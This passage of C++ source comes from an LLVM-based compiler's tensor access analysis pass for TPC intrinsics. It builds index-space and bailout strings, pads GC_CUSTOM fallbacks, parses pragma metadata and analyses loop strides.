: TAA.getRedNormTensorAxes())\n IndexMapString += Axis + \" \";\n IndexMapString += \"}\";\n }\n if (F.getMetadata(\"index_space_b\")) {\n IndexMapString += \" Index Space-B : \";\n std::string StartEndBStr = \"\";\n int PrevID = -1;\n for (auto Iter : TAA.getStartBEndBCoords()) {\n if (PrevID == -1) {\n PrevID = Iter.first;\n StartEndBStr += \"[\" + std::to_string(PrevID) + \"] {\";\n StartEndBStr +=\n std::get<1>(Iter.second) + \":\" + std::get<2>(Iter.second) + \" \";\n } else if (Iter.first == PrevID) {\n StartEndBStr +=\n std::get<1>(Iter.second) + \":\" + std::get<2>(Iter.second) + \" \";\n } else if (PrevID != -1) {\n IndexMapString += StartEndBStr + \" }\";\n StartEndBStr = \"\";\n PrevID = Iter.first;\n StartEndBStr += \"[\" + std::to_string(PrevID) + \"] {\";\n StartEndBStr +=\n std::get<1>(Iter.second) + \":\" + std::get<2>(Iter.second) + \" \";\n }\n }\n IndexMapString += StartEndBStr + \" }\";\n }\n\n llvm::GlobalVariable *SCEVGV =\n processIndexSpace(M, Name, IndexMapString, Int8Ty);\n // LLVM-1766: In case index space analysis is returned with GC_CUSTOM. MLIR expects the compilation to be failed.\n if(IndexSpaceMLIR && IndexMapString.find(\"GC_CUSTOM\") != std::string::npos){\n errs() << \"GC_CUSTOM is not supported by MLIR path !\\n\";\n exit(1);\n }\n\n SCEVGV->setSection(\".IndexMap\");\n\n if (TAA.BailoutReason.empty())\n TAA.BailoutReason = \"No bailouts required\";\n LLVM_DEBUG({\n llvm::GlobalVariable *Bailout =\n processIndexSpace(M, \"Bailout Reason : \", TAA.BailoutReason, Int8Ty);\n Bailout->setSection(\".BailoutGCCUSTOM\");\n });\n\n // Dump unroll informartion.\n MDNode *MD = F.getMetadata(\"unroll_info\");\n if (!MD)\n return false;\n std::string UnrollInfoStr = \"\";\n for (Metadata *Arg : MD->operands()) {\n if (auto *MDStr = dyn_cast<MDString>(Arg)) {\n auto Str = MDStr->getString();\n UnrollInfoStr += Str.str();\n UnrollInfoStr += \"; \";\n }\n }\n\n SmallVector<Constant *, 64> UnrollInfoVec;\n for (auto const &C : UnrollInfoStr)\n UnrollInfoVec.push_back(ConstantInt::get(Int8Ty, C));\n ArrayType *ATy = ArrayType::get(Int8Ty, UnrollInfoVec.size());\n auto *UnrollInfoGV = new llvm::GlobalVariable(\n *M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, UnrollInfoVec), \"Loop nest unroll Info\", nullptr);\n UnrollInfoGV->setSection(\".UnrollInfo\");\n return false;\n}\n\nvoid TensorAccessAnalysis::padGCCustom() {\n bool FallBack = false;\n int TensorID = -1;\n for (const auto &CurrInput : Input) {\n auto IndexMapString = CurrInput.Name;\n if (IndexMapString.find(\"GC_CUSTOM\") != std::string::npos) {\n FallBack = true;\n break;\n }\n }\n for (const auto &CurrOutput : Output) {\n auto IndexMapString = CurrOutput.Name;\n if (IndexMapString.find(\"GC_CUSTOM\") != std::string::npos) {\n FallBack = true;\n break;\n }\n }\n if (FallBack) {\n for (auto &TensorInfo : Input) {\n auto IndexMapString = TensorInfo.Name;\n if (IndexMapString.find(\"GC_CUSTOM\") == std::string::npos) {\n if (TensorInfo.Order >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TensorInfo.Order - FakeTensorIdPad);\n TensorInfo.Name = \"[\" + Temp + \"].\";\n } else\n TensorInfo.Name = \"[\" + std::to_string(TensorInfo.Order) + \"].\";\n TensorInfo.Name += \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TensorInfo.IndexFactor.capacity(); i++)\n TensorInfo.Name += \", GC_CUSTOM\";\n TensorInfo.Name += \" }\";\n }\n }\n for (auto &TensorInfo : Output) {\n auto IndexMapString = TensorInfo.Name;\n if (IndexMapString.find(\"GC_CUSTOM\") == std::string::npos) {\n if (TensorInfo.Order >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TensorInfo.Order - FakeTensorIdPad);\n TensorInfo.Name = \"[\" + Temp + \"].\";\n } else\n TensorInfo.Name = \"[\" + std::to_string(TensorInfo.Order) + \"].\";\n TensorInfo.Name += \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TensorInfo.IndexFactor.capacity(); i++)\n TensorInfo.Name += \", GC_CUSTOM\";\n TensorInfo.Name += \" }\";\n }\n }\n }\n}\n\nvoid TensorAccessAnalysis::updateAddMask() {\n for (auto CurrTensor : FallBackVec) {\n auto TensorInfo = getTensorInfo(CurrTensor);\n // change Tensor Access Pattern\n if (TensorTypeMap.find(CurrTensor) == TensorTypeMap.end())\n continue;\n if (TensorInfo.Order == INVALID_SCEV)\n continue;\n if (CurrTensor >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp = \"x\" + std::to_string(CurrTensor - FakeTensorIdPad);\n TensorInfo.Name = \"[\" + Temp + \"].\";\n } else\n TensorInfo.Name = \"[\" + std::to_string(CurrTensor) + \"].\";\n if (BailoutReason.empty())\n BailoutReason = \"Add mask has pred dependency\";\n std::string IndexStr = \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TensorInfo.IndexFactor.capacity(); i++)\n IndexStr += \", GC_CUSTOM\";\n IndexStr += \" }\";\n if (TensorInfo.Type == TensorType::Input) {\n TensorInfo.Name += \"[Input].\";\n TensorInfo.Name += IndexStr;\n Input.push_back(TensorInfo);\n }\n if (TensorInfo.Type == TensorType::Output) {\n TensorInfo.Name += \"[Output].\";\n TensorInfo.Name += IndexStr;\n Output.push_back(TensorInfo);\n }\n }\n}\n\nvoid TensorAccessAnalysis::analyseGenAddr() {\n for (auto Iter : GenAddrMap) {\n unsigned CurrTensor = Iter.first;\n Instruction *I = Iter.second;\n bool IntrinsUsage = true;\n const auto &TempUse = I->use_begin();\n if (TempUse == I->use_end())\n continue;\n User *TempUser = TempUse->getUser();\n if (auto *InstrPtrTemp = dyn_cast<IntrinsicInst>(TempUser)) {\n if (InstrPtrTemp->getIntrinsicID() != Intrinsic::tpc_ld_g)\n continue;\n }\n std::vector<Instruction *> PreventCycle;\n while (IntrinsUsage) {\n IntrinsUsage = false;\n const auto &GenAddrUse = I->use_begin();\n if (GenAddrUse == I->use_end())\n break;\n User *GenAddrUser = GenAddrUse->getUser();\n if (auto *ICmp = dyn_cast<ICmpInst>(GenAddrUser)) {\n // change Tensor Access Pattern\n if (TensorTypeMap.find(CurrTensor) == TensorTypeMap.end())\n break;\n auto Tensor1Info = getTensorInfo(CurrTensor);\n if (Tensor1Info.Order == INVALID_SCEV)\n break;\n if (CurrTensor >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp = \"x\" + std::to_string(CurrTensor - FakeTensorIdPad);\n Tensor1Info.Name = \"[\" + Temp + \"].\";\n } else\n Tensor1Info.Name = \"[\" + std::to_string(CurrTensor) + \"].\";\n std::string IndexStr = \"{ GC_CUSTOM\";\n if (BailoutReason.empty())\n BailoutReason = \"Gen Addr Determines Loop Bounds\";\n // prepare TensorName\n for (unsigned i = 1; i < Tensor1Info.IndexFactor.capacity(); i++)\n IndexStr += \", GC_CUSTOM\";\n IndexStr += \" }\";\n if (Tensor1Info.Type == TensorType::Input) {\n Tensor1Info.Name += \"[Input].\";\n Tensor1Info.Name += IndexStr;\n Input.push_back(Tensor1Info);\n }\n if (Tensor1Info.Type == TensorType::Output) {\n Tensor1Info.Name += \"[Output].\";\n Tensor1Info.Name += IndexStr;\n Output.push_back(Tensor1Info);\n }\n break;\n } else if (auto *InstrPtr = dyn_cast<Instruction>(GenAddrUser)) {\n if (InstrPtr->getParent() != I->getParent()) {\n bool FindOneUse = false;\n for (const Use &IUse : I->uses()) {\n User *IUser = IUse.getUser();\n if (InstrPtr = dyn_cast<Instruction>(IUser)) {\n if (InstrPtr->getParent() == I->getParent()) {\n I = InstrPtr;\n if (std::find(PreventCycle.begin(), PreventCycle.end(),\n InstrPtr) != PreventCycle.end())\n break;\n else\n PreventCycle.push_back(InstrPtr);\n IntrinsUsage = true;\n FindOneUse = true;\n break;\n } else\n PreventCycle.push_back(InstrPtr);\n }\n }\n if (!FindOneUse)\n IntrinsUsage = false;\n } else {\n if (std::find(PreventCycle.begin(), PreventCycle.end(), InstrPtr) !=\n PreventCycle.end())\n break;\n PreventCycle.push_back(InstrPtr);\n I = InstrPtr;\n IntrinsUsage = true;\n }\n }\n }\n }\n}\n\nTensorInfo TensorAccessAnalysis::getTensorInfo(unsigned TensorId) {\n auto Type1 = TensorTypeMap.at(TensorId);\n if (Type1 == TensorType::Input) {\n for (auto InputIt = Input.begin(); InputIt != Input.end(); ++InputIt) {\n TensorInfo Temp = *InputIt;\n if (Temp.Order == TensorId) {\n if (!Temp.IndexFactor.size())\n continue;\n Input.erase(InputIt);\n return Temp;\n }\n }\n TensorInfo *Temp = new TensorInfo;\n Temp->Order = INVALID_SCEV;\n return *Temp;\n } else if (Type1 == TensorType::Output) {\n for (auto OutputIt = Output.begin(); OutputIt != Output.end(); ++OutputIt) {\n TensorInfo Temp = *OutputIt;\n if (Temp.Order == TensorId) {\n Output.erase(OutputIt);\n return Temp;\n }\n }\n TensorInfo *Temp = new TensorInfo;\n Temp->Order = INVALID_SCEV;\n return *Temp;\n }\n}\n\nvoid TensorAccessAnalysis::updateIndSpaceCoords() {\n for (auto Iter = CopyIndSpace.begin(); Iter != CopyIndSpace.end(); Iter++) {\n auto Tensor1Info = getTensorInfo(Iter->first);\n auto Tensor2Info = getTensorInfo(Iter->second);\n if (Tensor1Info.Order == INVALID_SCEV || Tensor2Info.Order == INVALID_SCEV)\n continue;\n for (int i = 0; i < Tensor1Info.IndexFactor.size(); i++) {\n if (Tensor1Info.IndexFactor[i] > Tensor2Info.IndexFactor[i])\n Tensor2Info.IndexFactor[i] = Tensor1Info.IndexFactor[i];\n else\n Tensor1Info.IndexFactor[i] = Tensor2Info.IndexFactor[i];\n }\n\n Tensor1Info.Name = \"[\" + std::to_string(Iter->first) + \"].\";\n std::string IndexStr = \"\";\n auto Formula = Tensor1Info.umap.find(0);\n if (Formula != Tensor1Info.umap.end()) {\n IndexStr = \"{ \" + Formula->second + \"*\";\n IndexStr += std::to_string(Tensor1Info.IndexFactor[0]);\n } else\n IndexStr = \"{ \" + std::to_string(Tensor1Info.IndexFactor[0]);\n for (unsigned i = 1; i < Tensor1Info.IndexFactor.size(); i++) {\n Formula = Tensor1Info.umap.find(i);\n if (Formula != Tensor1Info.umap.end()) {\n IndexStr += \", \" + Formula->second + \"*\";\n IndexStr += std::to_string(Tensor1Info.IndexFactor[i]);\n } else\n IndexStr += \", \" + std::to_string(Tensor1Info.IndexFactor[i]);\n }\n\n IndexStr += \" }\";\n if (Tensor1Info.Type == TensorType::Input) {\n Tensor1Info.Name += \"[Input].\";\n Tensor1Info.Name += IndexStr;\n Input.push_back(Tensor1Info);\n }\n if (Tensor1Info.Type == TensorType::Output) {\n Tensor1Info.Name += \"[Output].\";\n Tensor1Info.Name += IndexStr;\n Output.push_back(Tensor1Info);\n }\n\n Tensor2Info.Name = \"[\" + std::to_string(Iter->second) + \"].\";\n Formula = Tensor2Info.umap.find(0);\n if (Formula != Tensor2Info.umap.end()) {\n IndexStr = \"{ \" + Formula->second + \"*\";\n IndexStr += std::to_string(Tensor2Info.IndexFactor[0]);\n } else\n IndexStr = \"{ \" + std::to_string(Tensor2Info.IndexFactor[0]);\n\n for (unsigned i = 1; i < Tensor2Info.IndexFactor.size(); i++) {\n Formula = Tensor2Info.umap.find(i);\n if (Formula != Tensor2Info.umap.end()) {\n IndexStr += \", \" + Formula->second + \"*\";\n IndexStr += std::to_string(Tensor2Info.IndexFactor[i]);\n } else\n IndexStr += \", \" + std::to_string(Tensor2Info.IndexFactor[i]);\n }\n\n IndexStr += \" }\";\n if (Tensor2Info.Type == TensorType::Input) {\n Tensor2Info.Name += \"[Input].\";\n Tensor2Info.Name += IndexStr;\n Input.push_back(Tensor2Info);\n }\n if (Tensor2Info.Type == TensorType::Output) {\n Tensor2Info.Name += \"[Output].\";\n Tensor2Info.Name += IndexStr;\n Output.push_back(Tensor2Info);\n }\n }\n}\n\nint64_t TensorAccessAnalysis::getAddMaskStepVar(IntrinsicInst *Instr) {\n // check if operand 0 is a constant Vec\n if (auto *ConstantVec = dyn_cast<ConstantDataVector>(Instr->getOperand(0))) {\n if (auto *ConstantVal = ConstantVec->getSplatValue()) {\n if (auto ElementVal = dyn_cast<ConstantInt>(ConstantVal)->getSExtValue())\n return ElementVal;\n }\n } else if (auto *ConstPtr = dyn_cast<ConstantInt>(Instr->getOperand(1))) {\n int ConstStride = ConstPtr->getSExtValue();\n return ConstStride;\n }\n return INVALID_STRIDE; // Bail out and continue with loop pointer\n}\n\nvoid TensorAccessAnalysis::processPragmaInfo(Function &F) {\n bool prevOperandString = false;\n int DimIndex = 0;\n\n // Begin Reduction/Norm Axes Evaluation\n if (MDNode *PragmaIdxAxis = F.getMetadata(\"reduction_or_norm_axes\")) {\n for (unsigned i = 0; i < PragmaIdxAxis->getNumOperands(); ++i) {\n if (auto *TensorIDPtr =\n dyn_cast<ValueAsMetadata>(PragmaIdxAxis->getOperand(i))) {\n auto *TensorIDPtr2 = TensorIDPtr->getValue();\n if (auto TensorID = dyn_cast<ConstantInt>(TensorIDPtr2)) {\n auto TensorIDVal = TensorID->getZExtValue();\n TensorIDVecReduction.push_back(TensorIDVal);\n }\n }\n if (auto *IndSpacePtr = dyn_cast<MDString>(PragmaIdxAxis->getOperand(i)))\n ReductionOrNormAxes.push_back(IndSpacePtr->getString());\n }\n }\n // End Reduction/Norm Axes Evaluation\n\n // Start b End b begin\n if (MDNode *PragmaIdxSpace = F.getMetadata(\"index_space_b\")) {\n SmallVector<unsigned, 8> TensorIDVec;\n for (unsigned i = 0; i < PragmaIdxSpace->getNumOperands();) {\n if (auto *TensorIDPtr =\n dyn_cast<ValueAsMetadata>(PragmaIdxSpace->getOperand(i))) {\n if (prevOperandString) {\n TensorIDVec.clear();\n prevOperandString = false;\n DimIndex = 0;\n }\n auto *TensorIDPtr2 = TensorIDPtr->getValue();\n if (auto TensorID = dyn_cast<ConstantInt>(TensorIDPtr2)) {\n auto TensorIDVal = TensorID->getZExtValue();\n TensorIDVec.push_back(TensorIDVal);\n ++i;\n }\n }\n auto *StartBPtr = dyn_cast<MDString>(PragmaIdxSpace->getOperand(i));\n auto *EndBPtr = dyn_cast<MDString>(PragmaIdxSpace->getOperand(i + 1));\n if (StartBPtr && EndBPtr) {\n auto StringRepStartB = StartBPtr->getString();\n auto StringRepEndB = EndBPtr->getString();\n for (auto TensorID : TensorIDVec)\n StartBEndBCoords.insert(\n {TensorID,\n std::make_tuple(DimIndex, StringRepStartB, StringRepEndB)});\n ++DimIndex;\n prevOperandString = true;\n i += 2;\n }\n }\n }\n // Start b End b end\n\n if (MDNode *PragmaIdxSpace = F.getMetadata(\"index_space\")) {\n SmallVector<unsigned, 8> TensorIDVec;\n for (unsigned i = 0; i < PragmaIdxSpace->getNumOperands(); ++i) {\n if (auto *TensorIDPtr =\n dyn_cast<ValueAsMetadata>(PragmaIdxSpace->getOperand(i))) {\n if (prevOperandString) {\n TensorIDVec.clear();\n prevOperandString = false;\n DimIndex = 0;\n }\n auto *TensorIDPtr2 = TensorIDPtr->getValue();\n if (auto TensorID = dyn_cast<ConstantInt>(TensorIDPtr2)) {\n auto TensorIDVal = TensorID->getZExtValue();\n TensorIDVec.push_back(TensorIDVal);\n PragmaTensors.push_back(TensorIDVal);\n }\n }\n if (auto *IndSpacePtr =\n dyn_cast<MDString>(PragmaIdxSpace->getOperand(i))) {\n auto StringRep = IndSpacePtr->getString();\n long long IntegerRep;\n bool Flag = getAsSignedInteger(StringRep, 10, IntegerRep);\n if (!Flag) {\n for (auto Iter : TensorIDVec)\n updateCoordFactor(Iter, DimIndex, IntegerRep, \"\", nullptr);\n } else { // Handle formula here\n for (auto Iter : TensorIDVec)\n updateCoordFactor(Iter, DimIndex, 1, StringRep, nullptr);\n }\n ++DimIndex;\n prevOperandString = true;\n }\n }\n }\n}\n\nvoid TensorAccessAnalysis::prepareLdStLData(Function &F) {\n Attribute SubArchAttr = F.getFnAttribute(\"target-cpu\");\n auto SubArchStr = SubArchAttr.getValueAsString();\n if (ArchTensorsBase.find(SubArchStr) == ArchTensorsBase.end())\n return;\n unsigned ArchBase = ArchTensorsBase[SubArchStr];\n unsigned Offset = ArchBase + TensorSizeStrideArrOffset;\n for (unsigned i = 0; i < 16; i++) {\n unsigned RangeStart = Offset + i * ArchTensorsDescSize[SubArchStr];\n ArchLdStLVec.push_back(RangeStart);\n }\n}\n\nvoid TensorAccessAnalysis::prepareStLData(Function &F) {\n for (auto &BB : F)\n for (auto &II : BB)\n if (auto *Intrins = dyn_cast<IntrinsicInst>(&II)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (is_st_l_tnsr(Inid)) {\n if (auto *Num = dyn_cast<ConstantInt>(Intrins->getOperand(0))) {\n unsigned NumVal = Num->getZExtValue();\n if (NumVal >= ArchLdStLVec.front() &&\n NumVal <= ArchLdStLVec.back()) {\n unsigned TensorId = std::lower_bound(ArchLdStLVec.begin(),\n ArchLdStLVec.end(), NumVal) -\n ArchLdStLVec.begin() - 1;\n if (TensorId == -1)\n TensorId = 0;\n StLTensors.insert((TensorId));\n if (BailoutReason.empty())\n BailoutReason = \"Reshape in one of the Tensors\";\n }\n }\n }\n }\n}\n\nvoid TensorAccessAnalysis::processLoadStoreLocalInfo(Function &F) {\n for (auto &BB : F)\n for (auto &II : BB)\n if (auto *Intrins = dyn_cast<IntrinsicInst>(&II)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (is_ld_l_tnsr(Inid)) {\n if (auto *Num = dyn_cast<ConstantInt>(Intrins->getOperand(0))) {\n for (const Use &LdTensorUse : Intrins->uses()) {\n User *LdTensorUser = LdTensorUse.getUser();\n if (auto *InstrPtr = dyn_cast<IntrinsicInst>(LdTensorUser)) {\n Inid = InstrPtr->getIntrinsicID();\n unsigned NumVal = Num->getZExtValue();\n if (is_st_l_tnsr(Inid) && NumVal >= ArchLdStLVec.front() &&\n NumVal <= ArchLdStLVec.back()) {\n int TensorId = std::lower_bound(ArchLdStLVec.begin(),\n ArchLdStLVec.end(), NumVal) -\n ArchLdStLVec.begin() - 1;\n if (TensorId == -1)\n TensorId = 0;\n LdStLTensors.insert(TensorId);\n }\n }\n }\n }\n }\n }\n}\n\nValue *getNextInstruction(Instruction *Ptr) {\n Value *InitTensor = nullptr;\n if (dyn_cast<InsertElementInst>(Ptr)) {\n InitTensor = Ptr->getOperand(0);\n if (!(dyn_cast<Instruction>(InitTensor))) {\n InitTensor = Ptr->getOperand(1);\n }\n return InitTensor;\n } else if (dyn_cast<ShuffleVectorInst>(Ptr)) {\n InitTensor = Ptr->getOperand(0);\n if (!(dyn_cast<Instruction>(InitTensor))) {\n InitTensor = Ptr->getOperand(1);\n }\n return InitTensor;\n } else if (auto *Intrins = dyn_cast<IntrinsicInst>(Ptr)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (Inid == Intrinsic::tpc_add_mask || Inid == Intrinsic::tpc_add) {\n InitTensor = Ptr->getOperand(0);\n if (!(dyn_cast<Instruction>(InitTensor))) {\n InitTensor = Ptr->getOperand(1);\n }\n } else\n InitTensor = Ptr->getOperand(0);\n } else\n InitTensor = Ptr->getOperand(0);\n return InitTensor;\n}\n\nLoop *TensorAccessAnalysis::getLoopPointerForOperand(Instruction *InsertInst) {\n auto InitialVal = InsertInst->getOperand(1);\n while (InitialVal) {\n if (Instruction *InstPtr = dyn_cast<Instruction>(InitialVal)) {\n if (InstPtr->getOpcode() != Instruction::PHI) {\n InitialVal = InstPtr->getOperand(0);\n continue;\n } else {\n auto PHIPtr = dyn_cast<PHINode>(InstPtr);\n return (LI->getLoopFor(PHIPtr->getParent()));\n }\n } else {\n return nullptr;\n }\n }\n return nullptr;\n}\n\nvoid TensorAccessAnalysis::processSetIndexNode(int TensorId, Loop *CurrLoop,\n PHINode *PHI, Function &F,\n IntrinsicInst *SetIndexInst) {\n\n int IndexShl =\n dyn_cast<llvm::ConstantInt>(SetIndexInst->getOperand(1))->getZExtValue();\n unsigned Index = fetchIndexFromOperand(IndexShl);\n std::string Formula = getFormula(SetIndexInst, F);\n if (auto *StepVar = dyn_cast<Instruction>(SetIndexInst->getOperand(2))) {\n if (StepVar->getOpcode() != Instruction::PHI) {\n // Attempt at fetching proper index stride\n int64_t DiffStep = setIndexStepVar(StepVar, CurrLoop);\n if (DiffStep != INVALID_SCEV) {\n DiffCoords.insert(\n {TensorId, std::make_tuple(Index, DiffStep, \"\", nullptr, PHI)});\n prepareLoopIvCoordMap(TensorId, nullptr, Index, Formula);\n processNestedInstructions(SetIndexInst, CurrLoop, PHI, TensorId, false,\n F);\n return;\n }\n }\n // Now check whether set index depends on the loop induction variable\n if (LI->isLoopHeader(PHI->getParent())) {\n if (auto *StepVar = dyn_cast<Instruction>(SetIndexInst->getOperand(2)))\n prepareLoopIvCoordMap(TensorId, CurrLoop, Index, Formula);\n }\n }\n}\n\nvoid TensorAccessAnalysis::processInsertElementNode(Instruction *InsertInst,\n Loop *CurrLoop,\n PHINode *PHI,\n unsigned TensorId) {\n if (dyn_cast<llvm::ConstantInt>(InsertInst->getOperand(2))) {\n int index =\n dyn_cast<llvm::ConstantInt>(InsertInst->getOperand(2))->getZExtValue();\n if (LI->isLoopHeader(PHI->getParent())) {\n Loop *ParentLoop = getLoopPointerForOperand(InsertInst);\n if (ParentLoop) {\n if (auto *StrideArg =\n dyn_cast<Instruction>(InsertInst->getOperand(1))) {\n // check if the operand 1 is itself a binary instruction\n if (auto BO = dyn_cast<BinaryOperator>(StrideArg)) {\n if (dyn_cast<llvm::ConstantInt>(BO->getOperand(1))) {\n int Val = dyn_cast<llvm::ConstantInt>(BO->getOperand(1))\n ->getZExtValue();\n if (BO->getOpcode() == Instruction::Add) {\n unsigned UnrollCount = 0;\n if (getScevInfo(ParentLoop)) {\n UnrollCount =\n getScevInfo(ParentLoop)->getLoopUnrollCount(ParentLoop);\n }\n if (UnrollCount)\n Val = Val * UnrollCount;\n // We have this block for only negative updates\n if (Val < 0) {\n UpdateDiffCoords(TensorId, index, Val, \"\", CurrLoop, PHI);\n prepareLoopIvCoordMap(TensorId, nullptr, index);\n return;\n } else\n return;\n } else if (BO->getOpcode() == Instruction::Or) {\n // Or is present for strength reduction only\n // Ignore the updates here and acknowledge only\n // the loop stride increment\n return;\n } else if (BO->getOpcode() == Instruction::Shl) {\n auto ShiftVal =\n dyn_cast<ConstantInt>(BO->getOperand(1))->getZExtValue();\n UpdateDiffCoords(\n TensorId, index,\n (getScevInfo(CurrLoop)->getSCEVStep() << ShiftVal), \"\",\n CurrLoop, PHI);\n prepareLoopIvCoordMap(TensorId, nullptr, index);\n return;\n }\n } else\n updateCoordFactor(TensorId, index, INVALID_SCEV, \"\", nullptr);\n }\n for (const Use &StrideArgUse : StrideArg->uses()) {\n User *StrideArgUser = StrideArgUse.getUser();\n if (auto *InstrPtr = dyn_cast<Instruction>(StrideArgUser)) {\n if (auto BO = dyn_cast<BinaryOperator>(StrideArgUser)) {\n if (!dyn_cast<llvm::ConstantInt>(BO->getOperand(1))) {\n updateCoordFactor(TensorId, index, INVALID_SCEV, \"\", nullptr);\n continue;\n }\n int Val = dyn_cast<llvm::ConstantInt>(BO->getOperand(1))\n ->getZExtValue();\n if (BO->getOpcode() == Instruction::Add) {\n unsigned UnrollCount = 0;\n if(getScevInfo(ParentLoop)){\n UnrollCount =\n getScevInfo(ParentLoop)->getLoopUnrollCount(ParentLoop);\n }\n if (UnrollCount)\n Val = Val * UnrollCount;\n DiffCoords.insert({TensorId, std::make_tuple(index, Val, \"\",\n nullptr, PHI)});\n prepareLoopIvCoordMap(TensorId, nullptr, index);\n return;\n }\n }\n }\n }\n // Let's check if operand 1 is Phi node then use this as SCEV\n if (Instruction *Phi = dyn_cast<PHINode>(InsertInst->getOperand(1))) {\n if (Phi == CurrLoop->getInductionVariable(*SE))\n prepareLoopIvCoordMap(TensorId, ParentLoop, index);\n return;\n }\n }\n // failsafe\n updateCoordFactor(TensorId, index, INVALID_SCEV, \"\", nullptr);\n } else {\n if (auto *StrideArg =\n dyn_cast<Instruction>(InsertInst->getOperand(1))) {\n for (const Use &StrideArgUse : StrideArg->uses()) {\n User *StrideArgUser = StrideArgUse.getUser();\n if (auto *InstrPtr = dyn_cast<Instruction>(StrideArgUser)) {\n if (auto BO = dyn_cast<BinaryOperator>(StrideArgUser)) {\n if (!dyn_cast<llvm::ConstantInt>(BO->getOperand(1))) {\n continue;\n }\n int Val = dyn_cast<llvm::ConstantInt>(BO->getOperand(1))\n ->getZExtValue();\n if (BO->getOpcode() == Instruction::Add) {\n unsigned UnrollCount = 0;\n if (getScevInfo(ParentLoop)) {\n UnrollCount =\n getScevInfo(ParentLoop)->getLoopUnrollCount(ParentLoop);\n }\n if (UnrollCount)\n Val = Val * UnrollCount;\n DiffCoords.insert({TensorId, std::make_tuple(index, Val, \"\",\n nullptr, PHI)});\n prepareLoopIvCoordMap(TensorId, nullptr, index);\n return;\n }\n }\n }\n }\n }\n }\n }\n }\n}\n\nvoid TensorAccessAnalysis::innerLoopUpdates(Instruction *T, int TensorId) {\n Value *begin = T->getOperand(0);\n auto *InsertInst = dyn_cast<InsertElementInst>(begin);\n while (InsertInst && InsertInst->getOpcode() == Instruction::InsertElement) {\n int index =\n dyn_cast<llvm::ConstantInt>(InsertInst->getOperand(2))->getZExtValue();\n if (Instruction *Phi = dyn_cast<PHINode>(InsertInst->getOperand(1))) {\n Loop *CurrLoop = LI->getLoopFor(Phi->getParent());\n Optional<Loop::LoopBounds> LB = CurrLoop->getBounds(*SE);\n PHINode *LoopPHI = CurrLoop->getInductionVariable(*SE);\n if (LB && (LoopPHI != nullptr)) {\n Value &Initial = LB->getInitialIVValue();\n Value &Final = LB->getFinalIVValue();\n if (dyn_cast<llvm::ExtractElementInst>(&Initial)) {\n updateCoordFactor(TensorId, index, INVALID_SCEV, \"\", nullptr);\n } else\n prepareLoopIvCoordMap(TensorId, CurrLoop, index);\n } else\n prepareLoopIvCoordMap(TensorId, CurrLoop, index);\n } else\n updateCoordFactor(TensorId, index, INVALID_SCEV, \"\", nullptr);\n begin = getNextInstruction(InsertInst);\n InsertInst = dyn_cast<InsertElementInst>(begin);\n }\n}\n\nbool TensorAccessAnalysis::compDepthCheckforNextBlock(int Currdepth,\n Value *InVal,\n BasicBlock *RefBB) {\n bool done = true; // TODO: Cleanup this\n // We need to check the Phi and if that instrcution is pointing to\n // deeper loop ignore that\n if (auto *Phi = dyn_cast<PHINode>(InVal)) {\n auto InBB = Phi->getParent();\n if (!LI->getLoopFor(InBB)) {\n return true;\n } else {\n Loop *InLoop = LI->getLoopFor(InBB);\n int InDepth = InLoop->getLoopDepth();\n if (InDepth <= Currdepth) {\n return false;\n } else {\n return true;\n }\n }\n } else {\n // Not a Phi Node just get the Parent of this instruction\n if (auto *inst = dyn_cast<Instruction>(InVal)) {\n auto InBB = inst->getParent();\n if (!LI->getLoopFor(InBB)) {\n done = true;\n } else {\n Loop *InLoop = LI->getLoopFor(InBB);\n int InDepth = InLoop->getLoopDepth();\n if (InDepth > Currdepth) {\n } else {\n done = false;\n }\n }\n }\n }\n return done;\n}\n\nint64_t TensorAccessAnalysis::setIndexStepVar(Instruction *StepVar,\n Loop *CurrLoop) {\n if (auto BO = dyn_cast<BinaryOperator>(StepVar)) {\n const auto LoopVar = CurrLoop->getInductionVariable(*SE);\n if (LoopVar == StepVar->getOperand(0)) {\n if (BO->getOpcode() == Instruction::SDiv) {\n auto DivDenominator =\n dyn_cast<ConstantInt>(BO->getOperand(1))->getZExtValue();\n return (getScevInfo(CurrLoop)->getSCEVStep() / DivDenominator);\n } else if (BO->getOpcode() == Instruction::Shl) {\n auto ShiftVal =\n dyn_cast<ConstantInt>(BO->getOperand(1))->getZExtValue();\n return (getScevInfo(CurrLoop)->getSCEVStep() << ShiftVal);\n }\n }\n if (BO->getOpcode() == Instruction::Add) {\n if (dyn_cast<ConstantInt>(BO->getOperand(1)))\n return dyn_cast<ConstantInt>(BO->getOperand(1))->getZExtValue();\n }\n }\n return INVALID_SCEV; // Bail out and continue with loop pointer\n}\n\nLoop *TensorAccessAnalysis::compareStepValuesForAddMask(PHINode *Phi,\n Loop *CurrLoop) {\n int64_t BBLoopStep;\n if (!LI->getLoopFor(Phi->getParent()) ||\n !getScevInfo(LI->getLoopFor(Phi->getParent())))\n return CurrLoop;\n if (!getScevInfo(CurrLoop))\n return LI->getLoopFor(Phi->getParent());\n auto CurrLoopStep = getScevInfo(CurrLoop)->getSCEVStep();\n BBLoopStep = getScevInfo(LI->getLoopFor(Phi->getParent()))->getSCEVStep();\n if (CurrLoopStep != BBLoopStep)\n return LI->getLoopFor(Phi->getParent());\n else\n return CurrLoop;\n}\n\nstd::string getPredType(ICmpInst::Predicate Pred) {\n std::string type = \"\";\n if (Pred == CmpInst::ICMP_SLT) {\n type = \"_slt\";\n }\n return type;\n}\n\nstd::string getLDLOperand(Intrinsic::ID inid) {\n std::string type = \"\";\n if (inid == llvm::Intrinsic::tpc_ld_l) {\n type = \"(ld_l(\";\n }\n return type;\n}\n\nstd::string TensorAccessAnalysis::getFormula(IntrinsicInst *Intrins,\n Function &F) {\n std::string formula = \"\";\n if (Instruction *form_inst =\n (dyn_cast<Instruction>(Intrins->getOperand(4)))) {\n // Get polarity here\n int i = 0;\n if (auto *polarity = dyn_cast<llvm::ConstantInt>(Intrins->getOperand(5))) {\n int 